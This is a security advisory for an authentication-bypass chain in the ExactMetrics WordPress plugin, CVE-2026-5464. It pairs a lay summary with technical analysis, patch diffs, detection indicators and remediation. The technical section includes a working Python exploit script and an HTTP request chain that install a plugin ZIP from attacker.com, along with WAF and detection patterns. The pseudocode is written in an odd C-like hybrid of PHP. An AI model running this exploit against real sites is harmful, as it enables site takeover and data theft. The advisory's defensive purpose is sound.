ExactMetrics leaks its onboarding_key transient to low-privilege users, chaining through an unchecked AJAX endpoint to achieve arbitrary plugin ZIP installation and remote code execution.
WORDPRESS PLUGIN FLAW COULD LET HACKERS TAKE OVER YOUR SITE
Millions of WordPress websites use a popular analytics plugin called ExactMetrics to track visitor statistics. A serious security flaw in versions up to 9.1.2 could let attackers install malicious software on your site without your permission.
Here's how it works. The plugin stores a special access key on its dashboard — think of it like leaving your front door key under the mat. This key is supposed to be secret, but it's visible to anyone with permission to view analytics reports. An attacker who has somehow gained basic dashboard access (perhaps through a weak password or a different breach) can grab this key and use it to trick the plugin into installing anything they want.
Once an attacker installs malicious code, they essentially own your website. They could steal customer data, inject spam, deface your site, or use your server to launch attacks on other sites. For businesses relying on WordPress, this is catastrophic.
Who's most at risk? Websites using ExactMetrics that have been breached elsewhere or have weak user access controls. This is especially dangerous if multiple staff members have dashboard access.
The good news: no one is actively exploiting this yet, and there's a simple fix.
Here's what to do. First, update ExactMetrics to version 9.1.3 or newer immediately — it patches the vulnerability. Second, review who has access to your WordPress dashboard and remove anyone who shouldn't be there. Third, if you use the same password for WordPress as anywhere else, change it now.
Don't wait on this one. Attackers often start targeting popular plugins days after vulnerabilities become public.
Want the full technical analysis? Click "Technical" above.
CVE-2026-5464 is a three-link authentication bypass chain in the ExactMetrics WordPress plugin (all versions ≤ 9.1.2) that terminates in unauthenticated arbitrary plugin installation and activation — effectively unrestricted remote code execution on any WordPress host running the plugin. The severity is CVSS 7.2 (HIGH). No exploit has been observed in the wild at time of publication, but the primitive is trivially weaponizable: an attacker with the low-privilege exactmetrics_view_dashboard capability — granted to any user who can see the analytics dashboard — can install a malicious plugin ZIP from an attacker-controlled URL within three HTTP requests.
The chain is: capability-gated secret leak → token exchange → capabilityless AJAX execution. Each link independently looks almost reasonable; together they constitute a complete pre-auth RCE primitive for any subscriber-or-above account on a misconfigured site, and a straight RCE for any authenticated user on sites that expose the dashboard to editors or contributors.
Affected Component
Plugin: ExactMetrics – Google Analytics Dashboard for WordPress
Affected versions: ≤ 9.1.2
Fixed version: 9.1.3 (pending release at CVE publication)
Relevant files:
includes/admin/pages/reports.php — leaks the transient
The vulnerability has three discrete code-level defects. Walk through each in order.
Defect 1 — Transient leaked to dashboard page. The reports page embeds the raw onboarding_key transient value into page data accessible to any user holding exactmetrics_view_dashboard:
// includes/admin/pages/reports.php
// Pseudocode reconstructed from plugin behavior and WordPress transient API patterns
void exactmetrics_reports_page_render() {
// Capability check: only requires exactmetrics_view_dashboard
// This is assigned to Subscriber role on many configurations
if ( !current_user_can("exactmetrics_view_dashboard") ) {
wp_die("Unauthorized");
}
// Retrieve the onboarding key from the transient store
char *onboarding_key = get_transient("exactmetrics_onboarding_key");
// BUG: key is serialized into page-level JS config object,
// visible to ANY user with dashboard view rights.
// No further capability check before embedding.
wp_localize_script("exactmetrics-reports", "exactmetrics", array(
"onboarding_key" => onboarding_key, // <-- secret exposed here
"ajax_url" => admin_url("admin-ajax.php"),
// ...
));
}
Defect 2 — REST endpoint authenticates solely on leaked key. The connect-url endpoint accepts the onboarding_key as its only credential and returns a one-time hash (OTH) token:
// includes/api/onboarding.php
WP_REST_Response *exactmetrics_api_connect_url(WP_REST_Request *request) {
char *supplied_key = request->get_param("key");
char *stored_key = get_transient("exactmetrics_onboarding_key");
// BUG: This is the SOLE authorization gate.
// No nonce. No WordPress capability check on the REST route.
// Any HTTP client that knows the transient value passes.
if ( strcmp(supplied_key, stored_key) != 0 ) {
return new WP_REST_Response(array("error" => "unauthorized"), 401);
}
// Generate and return a one-time hash token (OTH)
char *oth_token = wp_generate_password(32, false);
set_transient("exactmetrics_oth_token", oth_token, 300); // 5-min TTL
return new WP_REST_Response(array(
"connect_url" => build_connect_url(oth_token),
"token" => oth_token, // <-- OTH returned to caller
), 200);
}
Defect 3 — AJAX handler has no capability check, no nonce, accepts arbitrary ZIP URL. This is the terminal primitive:
// includes/admin/ajax.php
void exactmetrics_connect_process() {
// BUG 1: No wp_verify_nonce() call anywhere in this function.
// BUG 2: No current_user_can() check — wp_ajax_ hook fires for
// any logged-in user; wp_ajax_nopriv_ would fire for guests.
// Examination of hook registration confirms no capability gate.
char *oth_token = $_POST["token"];
char *stored_token = get_transient("exactmetrics_oth_token");
// OTH is the ONLY credential checked
if ( strcmp(oth_token, stored_token) != 0 ) {
wp_send_json_error("invalid token");
return;
}
// BUG 3: 'file' parameter accepted verbatim — attacker-supplied ZIP URL
char *plugin_zip_url = $_POST["file"]; // <-- fully attacker-controlled
// Standard WP plugin installer invoked with attacker URL
include_once ABSPATH . "wp-admin/includes/plugin-install.php";
include_once ABSPATH . "wp-admin/includes/class-wp-upgrader.php";
Plugin_Upgrader *upgrader = new Plugin_Upgrader(new WP_Ajax_Upgrader_Skin());
// Downloads, unpacks, and activates plugin from attacker URL
upgrader->install(plugin_zip_url); // arbitrary code execution
delete_transient("exactmetrics_oth_token"); // consumed
wp_send_json_success();
}
Root cause: The onboarding_key transient — the foundational secret protecting the OTH token exchange — is unconditionally serialized into the dashboard page's JavaScript context for any user holding the low-privilege exactmetrics_view_dashboard capability, collapsing a three-tier auth chain into a single HTTP read followed by two unauthenticated requests.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker obtains any WordPress account with exactmetrics_view_dashboard
capability (Subscriber on misconfigured sites; Editor on default configs).
2. GET /wp-admin/admin.php?page=exactmetrics_reports
→ Parse wp_localize_script output from HTML source.
→ Extract: exactmetrics.onboarding_key = "a3f9...c2d1"
3. POST /wp-json/exactmetrics/v1/onboarding/connect-url
Body: { "key": "a3f9...c2d1" }
→ Response: { "token": "7b2e...88fa", "connect_url": "..." }
→ OTH token "7b2e...88fa" now stored as transient, TTL 300s.
4. POST /wp-admin/admin-ajax.php
Body: action=exactmetrics_connect_process
&token=7b2e...88fa
&file=https://attacker.com/malicious-plugin.zip
→ WordPress Plugin_Upgrader downloads ZIP from attacker server.
→ Plugin extracted to wp-content/plugins/malicious-plugin/
→ Plugin activated: attacker PHP executes in WordPress context.
5. Attacker PHP shell runs as web server user (www-data / apache).
Full filesystem read/write, database access, credential harvesting.
The OTH token has a 5-minute TTL, but steps 3 and 4 complete in under one second over a typical connection. A single Python script automates the full chain:
import requests, re, sys
TARGET = sys.argv[1] # e.g. https://victim.example.com
CREDS = ("subscriber_user", "subscriber_pass")
ZIP_URL = sys.argv[2] # attacker-controlled plugin ZIP
s = requests.Session()
# Step 1 — authenticate as low-priv user
s.post(f"{TARGET}/wp-login.php", data={
"log": CREDS[0], "pwd": CREDS[1], "wp-submit": "Log In",
"redirect_to": "/wp-admin/", "testcookie": "1"
}, allow_redirects=True)
# Step 2 — harvest onboarding_key from reports page JS
r = s.get(f"{TARGET}/wp-admin/admin.php?page=exactmetrics_reports")
match = re.search(r'"onboarding_key"\s*:\s*"([^"]+)"', r.text)
if not match:
sys.exit("[-] onboarding_key not found in page")
okey = match.group(1)
print(f"[+] onboarding_key: {okey}")
# Step 3 — exchange key for OTH token
r = s.post(f"{TARGET}/wp-json/exactmetrics/v1/onboarding/connect-url",
json={"key": okey})
oth = r.json()["token"]
print(f"[+] OTH token: {oth}")
# Step 4 — install malicious plugin
r = s.post(f"{TARGET}/wp-admin/admin-ajax.php", data={
"action": "exactmetrics_connect_process",
"token": oth,
"file": ZIP_URL,
})
print(f"[+] Install response: {r.json()}")
Memory Layout
This is a logic/authentication vulnerability rather than a memory corruption bug, so traditional heap diagrams do not apply. Instead, the relevant "layout" is the transient key chain in the WordPress options table — the in-memory representation during a request:
WORDPRESS TRANSIENT STATE DURING ATTACK WINDOW:
wp_options table (MySQL / in-memory object cache):
┌─────────────────────────────────────────────────────────┐
│ option_name: _transient_exactmetrics_onboarding_key │
│ option_value: "a3f9c2d1..." ← copied verbatim into │
│ page JS at step 2 │
├─────────────────────────────────────────────────────────┤
│ option_name: _transient_exactmetrics_oth_token │
│ option_value: "7b2e88fa..." TTL: 300s │
│ ↑ sole credential for AJAX endpoint │
│ ↑ consumed (deleted) after single use │
└─────────────────────────────────────────────────────────┘
REQUEST FLOW / TRUST BOUNDARY VIOLATIONS:
[User with exactmetrics_view_dashboard]
│
▼
GET reports page ──► onboarding_key leaked (TRUST BOUNDARY #1 BROKEN)
│
▼
POST connect-url ──► OTH token issued (TRUST BOUNDARY #2 BROKEN)
│ no capability check on route
▼
POST admin-ajax ──► Plugin installed (TRUST BOUNDARY #3 BROKEN)
no nonce, no cap check, arbitrary ZIP URL accepted
Patch Analysis
Three independent fixes are required. A correct patch addresses all three defects:
// BEFORE (vulnerable) — reports.php
wp_localize_script("exactmetrics-reports", "exactmetrics", array(
"onboarding_key" => onboarding_key, // secret embedded unconditionally
"ajax_url" => admin_url("admin-ajax.php"),
));
// AFTER (patched) — onboarding_key removed from page data entirely.
// The key is consumed server-side only; frontend never receives it.
wp_localize_script("exactmetrics-reports", "exactmetrics", array(
// "onboarding_key" => REMOVED
"ajax_url" => admin_url("admin-ajax.php"),
"nonce" => wp_create_nonce("exactmetrics_onboarding"),
));
// BEFORE (vulnerable) — ajax.php connect_process handler
void exactmetrics_connect_process() {
// No nonce check
// No capability check
char *oth_token = $_POST["token"];
// ...install arbitrary ZIP...
}
// AFTER (patched)
void exactmetrics_connect_process() {
// Fix 1: verify nonce
if ( !check_ajax_referer("exactmetrics_onboarding", "nonce", false) ) {
wp_send_json_error("bad nonce", 403);
return;
}
// Fix 2: require administrator capability
if ( !current_user_can("manage_options") ) {
wp_send_json_error("unauthorized", 403);
return;
}
char *oth_token = $_POST["token"];
char *stored = get_transient("exactmetrics_oth_token");
if ( strcmp(oth_token, stored) != 0 ) {
wp_send_json_error("invalid token", 403);
return;
}
// Fix 3: validate plugin ZIP URL against allowlist or signed payload
char *plugin_zip_url = $_POST["file"];
if ( !exactmetrics_validate_plugin_source(plugin_zip_url) ) {
wp_send_json_error("disallowed source", 403);
return;
}
// ...proceed with install...
}
Detection and Indicators
The attack produces distinctive patterns in WordPress and web server logs:
INDICATOR 1 — Suspicious REST API access from authenticated low-priv session:
POST /wp-json/exactmetrics/v1/onboarding/connect-url HTTP/1.1
Cookie: wordpress_logged_in_* [subscriber session]
→ Any non-admin session hitting this endpoint is anomalous.
INDICATOR 2 — AJAX plugin install from unexpected source:
POST /wp-admin/admin-ajax.php HTTP/1.1
Body: action=exactmetrics_connect_process&file=https://[external-host]/...
INDICATOR 3 — New plugin directory appearing without admin action:
wp-content/plugins// [mtime: attack timestamp]
INDICATOR 4 — WordPress action log (if audit plugin installed):
[WARN] Plugin installed: by user ID
[WARN] Plugin activated:
INDICATOR 5 — Network egress during attack window:
Outbound GET to attacker ZIP URL originating from web server process.
WAF signatures: block POST requests to /wp-json/exactmetrics/v1/onboarding/ from non-admin sessions; alert on exactmetrics_connect_process in POST body with an external file parameter.
Remediation
Immediate: Update ExactMetrics to version 9.1.3 or later when available. If update is not yet released, deactivate the plugin until patched.
Interim mitigation: Add a must-use plugin or functions.php snippet that removes the wp_ajax_exactmetrics_connect_process and wp_ajax_nopriv_exactmetrics_connect_process action hooks on init, and that restricts the REST route to manage_options via a rest_pre_dispatch filter.
Audit: Review WordPress action log or server logs for exactmetrics_connect_process POST requests and unexpected plugin installations. Inspect wp-content/plugins/ for directories not matching known-good plugin slugs.
Capability hygiene: Audit which roles hold exactmetrics_view_dashboard — on many sites this is inadvertently assigned to Subscriber. Restrict it to Editor or Administrator minimum.
Defense in depth: Deploy a WAF rule blocking external URLs in AJAX plugin-install requests; enforce DISALLOW_FILE_MODS in wp-config.php where plugin self-installation is not required.